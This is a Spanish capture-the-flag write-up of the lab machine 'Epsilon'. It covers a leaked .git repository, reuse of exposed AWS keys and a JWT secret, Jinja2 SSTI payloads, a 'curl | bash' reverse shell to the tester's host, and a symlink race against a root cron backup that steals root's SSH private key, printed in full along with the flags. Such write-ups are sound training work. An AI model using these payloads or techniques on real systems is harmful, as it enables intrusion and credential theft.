Epsilon



Conocimientos

  • Abuso de Git expuesto

  • Enumeración AWS

  • Enumeración función Lambda

  • Creación de JWT

  • Bypass Login

  • SSTI - RCE

  • Abuso de tarea CRON (Escalada de Privilegios)


Reconocimiento

Escaneo de puertos con nmap

Descubrimiento de puertos abiertos

nmap -p- --open --min-rate 5000 -n -Pn -sS 10.10.11.134 -oG openports
Starting Nmap 7.94 ( https://nmap.org ) at 2023-06-15 15:10 GMT
Nmap scan report for 10.10.11.134
Host is up (0.079s latency).
Not shown: 65532 closed tcp ports (reset)
PORT     STATE SERVICE
22/tcp   open  ssh
80/tcp   open  http
5000/tcp open  upnp

Escaneo de versión y servicios de cada puerto

nmap -sCV -p22,80,5000 10.10.11.134 -oN portscan
Starting Nmap 7.94 ( https://nmap.org ) at 2023-06-15 15:11 GMT
Nmap scan report for 10.10.11.134
Host is up (0.062s latency).

PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 48:ad:d5:b8:3a:9f:bc:be:f7:e8:20:1e:f6:bf:de:ae (RSA)
|   256 b7:89:6c:0b:20:ed:49:b2:c1:86:7c:29:92:74:1c:1f (ECDSA)
|_  256 18:cd:9d:08:a6:21:a8:b8:b6:f7:9f:8d:40:51:54:fb (ED25519)
80/tcp   open  http    Apache httpd 2.4.41
|_http-title: 403 Forbidden
| http-git: 
|   10.10.11.134:80/.git/
|     Git repository found!
|     Repository description: Unnamed repository; edit this file 'description' to name the...
|_    Last commit message: Updating Tracking API  # Please enter the commit message for...
|_http-server-header: Apache/2.4.41 (Ubuntu)
5000/tcp open  http    Werkzeug httpd 2.0.2 (Python 3.8.10)
|_http-server-header: Werkzeug/2.0.2 Python/3.8.10
|_http-title: Costume Shop
Service Info: Host: 127.0.1.1; OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 10.56 seconds

Puerto 80,5000 (HTTP)

Con whatweb analizo las tecnologías que emplea el servidor web

whatweb http://10.10.11.134
http://10.10.11.134 [403 Forbidden] Apache[2.4.41], Country[RESERVED][ZZ], HTTPServer[Ubuntu Linux][Apache/2.4.41 (Ubuntu)], IP[10.10.11.134], Title[403 Forbidden]

La página principal me devuelve un 403, pero puedo descargar el GIT

git-dumper http://10.10.11.134/.git/ git-proyect

Tiene varios commits

 git log
commit c622771686bd74c16ece91193d29f85b5f9ffa91 (HEAD -> master)
Author: root <root@epsilon.htb>
Date:   Wed Nov 17 17:41:07 2021 +0000

    Fixed Typo

commit b10dd06d56ac760efbbb5d254ea43bf9beb56d2d
Author: root <root@epsilon.htb>
Date:   Wed Nov 17 10:02:59 2021 +0000

    Adding Costume Site

commit c51441640fd25e9fba42725147595b5918eba0f1
Author: root <root@epsilon.htb>
Date:   Wed Nov 17 10:00:58 2021 +0000

    Updatig Tracking API

commit 7cf92a7a09e523c1c667d13847c9ba22464412f3
Author: root <root@epsilon.htb>
Date:   Wed Nov 17 10:00:28 2021 +0000

    Adding Tracking API Module

Obtengo los cambios entre todos los commits

git diff 7cf92a7a09e523c1c667d13847c9ba22464412f3
diff --git a/server.py b/server.py
new file mode 100644
index 0000000..dfdfa17
--- /dev/null
+++ b/server.py
@@ -0,0 +1,65 @@
+#!/usr/bin/python3
+
+import jwt
+from flask import *
+
+app = Flask(__name__)
+secret = '<secret_key>'
+
+def verify_jwt(token,key):
+       try:
+               username=jwt.decode(token,key,algorithms=['HS256',])['username']
+               if username:
+                       return True
+               else:
+                       return False
+       except:
+               return False
+
+@app.route("/", methods=["GET","POST"])
+def index():
+       if request.method=="POST":
+               if request.form['username']=="admin" and request.form['password']=="admin":
+                       res = make_response()
+                       username=request.form['username']
+                       token=jwt.encode({"username":"admin"},secret,algorithm="HS256")
+                       res.set_cookie("auth",token)
+                       res.headers['location']='/home'
+                       return res,302
+               else:
+                       return render_template('index.html')
+       else:
+       else:
+               return render_template('index.html')
+
+@app.route("/home")
+def home():
+       if verify_jwt(request.cookies.get('auth'),secret):
+               return render_template('home.html')
+       else:
+               return redirect('/',code=302)
+
+@app.route("/track",methods=["GET","POST"])
+def track():
+       if request.method=="POST":
+               if verify_jwt(request.cookies.get('auth'),secret):
+                       return render_template('track.html',message=True)
+               else:
+                       return redirect('/',code=302)
+       else:
+               return render_template('track.html')
+
+@app.route('/order',methods=["GET","POST"])
+def order():
+       if verify_jwt(request.cookies.get('auth'),secret):
+               if request.method=="POST":
+                       costume=request.form["costume"]
+                       message = '''
+                       Your order of "{}" has been placed successfully.
+                       '''.format(costume)
+                       tmpl=render_template_string(message,costume=costume)
+                       return render_template('order.html',message=tmpl)
+               else:
+                       return render_template('order.html')
+       else:
+               return redirect('/',code=302)
+app.run(debug='true')
diff --git a/track_api_CR_148.py b/track_api_CR_148.py
index fed7ab9..8d3b52e 100644
--- a/track_api_CR_148.py
+++ b/track_api_CR_148.py
@@ -5,11 +5,11 @@ from boto3.session import Session
 
 
 session = Session(
-    aws_access_key_id='AQLA5M37BDN6FJP76TDC',
-    aws_secret_access_key='OsK0o/glWwcjk2U3vVEowkvq5t4EiIreB+WdFo1A',
+    aws_access_key_id='<aws_access_key_id>',
+    aws_secret_access_key='<aws_secret_access_key>',
     region_name='us-east-1',
-    endpoint_url='http://cloud.epsilong.htb')
-aws_lambda = session.client('lambda')    
+    endpoint_url='http://cloud.epsilon.htb')
+aws_lambda = session.client('lambda')

Se expone la clave e identificador de aws. En el puerto 5000 tengo un panel de inicio de sesión

Pero como no tengo credenciales de momento lo voy a omitir. Agrego el subdominio cloud.epsilon.htb y el dominio epsilon.htb al /etc/hosts

Agrego la configuración de aws a mi equipo

aws configure
AWS Access Key ID [None]: AQLA5M37BDN6FJP76TDC
AWS Secret Access Key [None]: OsK0o/glWwcjk2U3vVEowkvq5t4EiIreB+WdFo1A
Default region name [None]: us-east-1
Default output format [None]: json

Listo las funciones

aws --endpoint-url=http://cloud.epsilon.htb lambda list-functions
{
    "Functions": [
        {
            "FunctionName": "costume_shop_v1",
            "FunctionArn": "arn:aws:lambda:us-east-1:000000000000:function:costume_shop_v1",
            "Runtime": "python3.7",
            "Role": "arn:aws:iam::123456789012:role/service-role/dev",
            "Handler": "my-function.handler",
            "CodeSize": 478,
            "Description": "",
            "Timeout": 3,
            "LastModified": "2023-06-15T14:51:11.800+0000",
            "CodeSha256": "IoEBWYw6Ka2HfSTEAYEOSnERX7pq0IIVH5eHBBXEeSw=",
            "Version": "$LATEST",
            "VpcConfig": {},
            "TracingConfig": {
                "Mode": "PassThrough"
            },
            "RevisionId": "fdc95c0a-6527-469d-bfeb-8cf55c48fa16",
            "State": "Active",
            "LastUpdateStatus": "Successful",
            "PackageType": "Zip"
        }
    ]
}

Para la única existente traigo su contenido

aws --endpoint-url=http://cloud.epsilon.htb lambda get-function --function-name=costume_shop_v1
{
    "Configuration": {
        "FunctionName": "costume_shop_v1",
        "FunctionArn": "arn:aws:lambda:us-east-1:000000000000:function:costume_shop_v1",
        "Runtime": "python3.7",
        "Role": "arn:aws:iam::123456789012:role/service-role/dev",
        "Handler": "my-function.handler",
        "CodeSize": 478,
        "Description": "",
        "Timeout": 3,
        "LastModified": "2023-06-15T14:51:11.800+0000",
        "CodeSha256": "IoEBWYw6Ka2HfSTEAYEOSnERX7pq0IIVH5eHBBXEeSw=",
        "Version": "$LATEST",
        "VpcConfig": {},
        "TracingConfig": {
            "Mode": "PassThrough"
        },
        "RevisionId": "fdc95c0a-6527-469d-bfeb-8cf55c48fa16",
        "State": "Active",
        "LastUpdateStatus": "Successful",
        "PackageType": "Zip"
    },
    "Code": {
        "Location": "http://cloud.epsilon.htb/2015-03-31/functions/costume_shop_v1/code"
    },
    "Tags": {}
}

Me puedo descargar el ZIP

wget http://cloud.epsilon.htb/2015-03-31/functions/costume_shop_v1/code

Contiene un script de python

cat lambda_function.py
import json

secret='RrXCv`mrNe!K!4+5`wYq' #apigateway authorization for CR-124

'''Beta release for tracking'''
def lambda_handler(event, context):
    try:
        id=event['queryStringParameters']['order_id']
        if id:
            return {
               'statusCode': 200,
               'body': json.dumps(str(resp)) #dynamodb tracking for CR-342
            }
        else:
            return {
                'statusCode': 500,
                'body': json.dumps('Invalid Order ID')
            }
    except:
        return {
                'statusCode': 500,
                'body': json.dumps('Invalid Order ID')
            }

Suponiendo que el secreto se reutiliza para el JWT, genero una cookie con ese valor

python3
Python 3.11.2 (main, Mar 13 2023, 12:18:29) [GCC 12.2.0] on linux
Type "help", "copyright", "credits" or "license" for more information.
>>> import jwt
>>> jwt.encode({'username': 'admin'}, "RrXCv`mrNe!K!4+5`wYq", algorithm="HS256")
'eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIn0.WFYEm2-bZZxe2qpoAtRPBaoNekx-oOwueA80zzb3Rc4'

Agrego la cookie en el navegador con nombre auth, tal y como ponía en el código fuente

Al recargar, ya puedo dirigirme al directorio /home sin problema. Tengo las siguientes rutas para moverme

cat server.py | grep app.rout
@app.route("/", methods=["GET","POST"])
@app.route("/home")
@app.route("/track",methods=["GET","POST"])
@app.route('/order',methods=["GET","POST"])

Genero un order de prueba

Aparece un campo que puedo controlar como input desde BurpSuite

Como se está empleando Flask por detrás, pruebo un SSTI. Capturo la petición desde BurpSuite e introduzco lo siguiente:

costume={{3*3}}&q=&addr=test

En la respuesta aparece el cómputo

<p style="font-family: 'Indie Flower', cursive;">Your order of "9" has been placed successfully.</p>

Valido si es vulnerable a RCE

costume={{ self.__init__.__globals__.__builtins__.__import__('os').popen('id').read() }}&q=&addr=test

Se ejecuta sin problema

<p style="font-family: 'Indie Flower', cursive;">Your order of "uid=1000(tom) gid=1000(tom) groups=1000(tom)" has been placed successfully.</p>

Me envío una reverse shell. Para ello, creo un archivo index.html que comparto con python y lo interpreto con bash

#!/bin/bash

bash -c 'bash -i >& /dev/tcp/10.10.16.6/443 0<&1'
python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
10.10.11.134 - - [15/Jun/2023 16:01:28] "GET / HTTP/1.1" 200 -
costume={{ self.__init__.__globals__.__builtins__.__import__('os').popen('curl 10.10.16.6 | bash').read() }}&q=&addr=test

Recibo la conexión en una sesión de netcat

nc -nlvp 443
listening on [any] 443 ...
connect to [10.10.16.6] from (UNKNOWN) [10.10.11.134] 46098
bash: cannot set terminal process group (1035): Inappropriate ioctl for device
bash: no job control in this shell
tom@epsilon:/var/www/app$ script /dev/null -c bash
script /dev/null -c bash
Script started, file is /dev/null
tom@epsilon:/var/www/app$ ^Z
zsh: suspended  nc -nlvp 443
❯ stty raw -echo; fg
[1]  + continued  nc -nlvp 443
                              reset xterm
tom@epsilon:/var/www/app$ export TERM=xterm
tom@epsilon:/var/www/app$ export SHELL=bash
tom@epsilon:/var/www/app$ stty rows 55 columns 209

Puedo ver la primera flag

tom@epsilon:~$ cat user.txt 
2ba869dc0e6e636c3f92c320aedfc4de

Escalada

Subo el pspy para detectar tareas que se ejecutan a intervalos regulares de tiempo

2023/06/15 16:12:01 CMD: UID=0    PID=3228   | /bin/sh -c /usr/bin/backup.sh 
2023/06/15 16:12:01 CMD: UID=0    PID=3229   | date +%N 
2023/06/15 16:12:01 CMD: UID=0    PID=3231   | /usr/bin/tar -cvf /opt/backups/344478446.tar /var/www/app/ 
2023/06/15 16:12:01 CMD: UID=0    PID=3233   | /bin/bash /usr/bin/backup.sh 
2023/06/15 16:12:01 CMD: UID=0    PID=3232   | sha1sum /opt/backups/344478446.tar 

Se está ejecutando /usr/bin/backup.sh. No tengo capacidad de escritura

tom@epsilon:/tmp$ ls -l /usr/bin/backup.sh 
-rwxr-xr-x 1 root root 362 Dec  1  2021 /usr/bin/backup.sh

Pero sí leerlo

tom@epsilon:/tmp$ cat !$
cat /usr/bin/backup.sh
#!/bin/bash
file=`date +%N`
/usr/bin/rm -rf /opt/backups/*
/usr/bin/tar -cvf "/opt/backups/$file.tar" /var/www/app/
sha1sum "/opt/backups/$file.tar" | cut -d ' ' -f1 > /opt/backups/checksum
sleep 5
check_file=`date +%N`
/usr/bin/tar -chvf "/var/backups/web_backups/${check_file}.tar" /opt/backups/checksum "/opt/backups/$file.tar"
/usr/bin/rm -rf /opt/backups/*

En un punto, al comando tar se le pasa el parámetro -h. En el manual se puede ver en qué consiste. Muestra el contenido por pantalla de un enlace simbólico

-h, --dereference
       Follow symlinks; archive and dump the files they point to.

Creo un script en bash que se encargue de secuestrar el archivo

tom@epsilon:/tmp$ cat toroot.sh 
#!/bin/bash

while true; do
	if [ -e /opt/backups/checksum ]; then
		rm -f /opt/backups/checksum
		ln -s -f /root/.ssh/id_rsa /opt/backups/checksum
		echo "[+] Pwned!!!"
		break
	fi
done
tom@epsilon:/tmp$ ./toroot.sh 
[+] Pwned!!!

Copio el comprimido a /tmp

tom@epsilon:/tmp$ cp /var/backups/web_backups/814017470.tar .

Lo descomprimo

tom@epsilon:/tmp$ tar -xf 814017470.tar 

Puedo ver la id_rsa

tom@epsilon:/tmp/opt/backups$ cat checksum 
-----BEGIN OPENSSH PRIVATE KEY-----
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
-----END OPENSSH PRIVATE KEY-----

Me conecto y puedo ver la segunda flag

ssh -i id_rsa root@10.10.11.134
The authenticity of host '10.10.11.134 (10.10.11.134)' can't be established.
ED25519 key fingerprint is SHA256:RoZ8jwEnGGByxNt04+A/cdluslAwhmiWqG3ebyZko+A.
This host key is known by the following other names/addresses:
    ~/.ssh/known_hosts:18: [hashed name]
    ~/.ssh/known_hosts:24: [hashed name]
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '10.10.11.134' (ED25519) to the list of known hosts.
Welcome to Ubuntu 20.04.3 LTS (GNU/Linux 5.4.0-97-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage

  System information as of Thu 15 Jun 2023 04:31:05 PM UTC

  System load:                      0.0
  Usage of /:                       67.2% of 5.78GB
  Memory usage:                     17%
  Swap usage:                       0%
  Processes:                        245
  Users logged in:                  0
  IPv4 address for br-a2acb156d694: 172.19.0.1
  IPv4 address for docker0:         172.17.0.1
  IPv4 address for eth0:            10.10.11.134
  IPv6 address for eth0:            dead:beef::250:56ff:feb9:6f56

 * Super-optimized for small spaces - read how we shrank the memory
   footprint of MicroK8s to make it the smallest full K8s around.

   https://ubuntu.com/blog/microk8s-memory-optimisation

0 updates can be applied immediately.


The list of available updates is more than a week old.
To check for new updates run: sudo apt update

Last login: Mon Feb  7 01:51:07 2022
root@epsilon:~# cat /root/root.txt 
6b3188c957cafd4d2268c43a6969e262